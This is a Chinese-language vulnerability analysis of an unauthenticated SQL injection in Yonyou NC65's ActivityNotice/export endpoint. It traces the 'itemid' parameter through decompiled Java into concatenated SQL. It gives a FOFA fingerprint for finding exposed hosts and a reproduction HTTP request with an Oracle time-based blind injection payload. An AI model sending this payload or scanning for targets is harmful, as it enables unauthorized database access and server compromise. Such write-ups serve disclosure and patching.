漏洞简介
用友 NC 是一种商业级的企业资源规划,为企业提供全面的管理解决方案,包括财务管理、采购管理、销售管理、人力资源管理等功能,基于云原生架构,深度应用新一代数字技术,打造开放、 互联、融合、智能的一体化云平台,支持公有云、混合云、专属云的灵活部署模式。聚焦数字化管理、数字化经营、数字化平台等三大企业数字化转型战略方向,提供涵盖数字营销、智能制造、财务共享、人力共享与协同,智慧采购、数字中台等18大解决方案,助力大型企业全面落地数字化和业务流程优化。⽤友NC ActivityNotice/export 接⼝处存在SQL注入漏洞,未授权的攻击者可以通过此漏洞获取数据库权限,进 ⼀步利⽤可导致服务器失陷。
影响版本
NC65
fofa语法
icon_hash="1085941792" || app="用友-UFIDA-NC"
漏洞分析
直接看 ActivityAction 下的 export 方法是如何实现的
@Action
public void export() {
try {
LfwLogger.error("action/export打包下载was日志");
Logger.error("action/export打包下载was日志");
HttpServletResponse response = this.getResponse();
response.setContentType("text/html");
response.setCharacterEncoding("UTF-8");
HttpServletRequest request = this.request;
String itemid = request.getParameter("itemid");
LfwFileVO[] vos = ActivityViewHelper.getFileIDs(itemid);
if (vos != null && vos.length > 0) {
OutputStream out = null;
OutputStream var10 = response.getOutputStream();
UFDateTime lastModify = new UFDateTime();
response.setHeader("Last-Modified", lastModify.toString());
response.setHeader("Content-Type", "application/zip;charset=UTF-8");
String fileName = URLEncoder.encode(LfwResBundle.getInstance().getStrByID("signupmng", "ActivityAction-000001"), "UTF-8");
response.setHeader("Content-Disposition", "attachment;filename=" + fileName);
ActivityUtil.Zip(vos, var10);
response.flushBuffer();
IOUtils.closeQuietly(var10);
}
} catch (IOException e) {
LfwLogger.error("action/export" + e.getMessage());
Logger.error("action/export" + e.getMessage());
Logger.error(e.getMessage(), e);
} catch (Exception e) {
LfwLogger.error("action/export" + e.getMessage());
Logger.error("action/export" + e.getMessage());
Logger.error(e.getMessage(), e);
}
}
用户可控参数 itemid 带入 ActivityViewHelper.getFileIDs 方法中,其实现如
public static LfwFileVO[] getFileIDs(String itemID) {
if (null == itemID) {
return null;
} else {
try {
LfwFileVO[] lfwfileVos = FileManager.getSystemFileManager("bafile").getFileByItemID(itemID);
return lfwfileVos != null ? lfwfileVos : null;
} catch (LfwBusinessException e) {
throw new LfwRuntimeException(LfwResBundle.getInstance().getStrByID("signupmng", "ActivityViewHelper-000014"), e);
}
}
}
可以看见其又被带入 getSystemFileManager 的 getFileByItemID 方法里
public LfwFileVO[] getFile(String billtype, String billitem) throws LfwBusinessException {
BaseDAO dao = new BaseDAO();
try {
StringBuffer sb = new StringBuffer();
new LfwFileVO();
if (StringUtils.isNotBlank(billitem)) {
sb.append(" pk_billitem = '").append(billitem).append("' ");
sb.append(" order by lastmodifytime desc ");
List<? extends SuperVO> l = (List)dao.retrieveByClause(LfwFileVO.class, sb.toString());
return l.isEmpty() ? null : (LfwFileVO[])((LfwFileVO[])l.toArray(new LfwFileVO[0]));
到这里就比较明了,最终这个参数 itemid 是未经过任何过滤或校验就被直接拼接到sql语句中进行执行从而造成SQL注入漏洞。
漏洞复现
POST /portal/pt/ActivityNotice/export?pageId=login HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: nc65.mrxn.net
itemid=1' AND 1=dbms_pipe.receive_message('RDS', 6)--

成功延时 6 秒


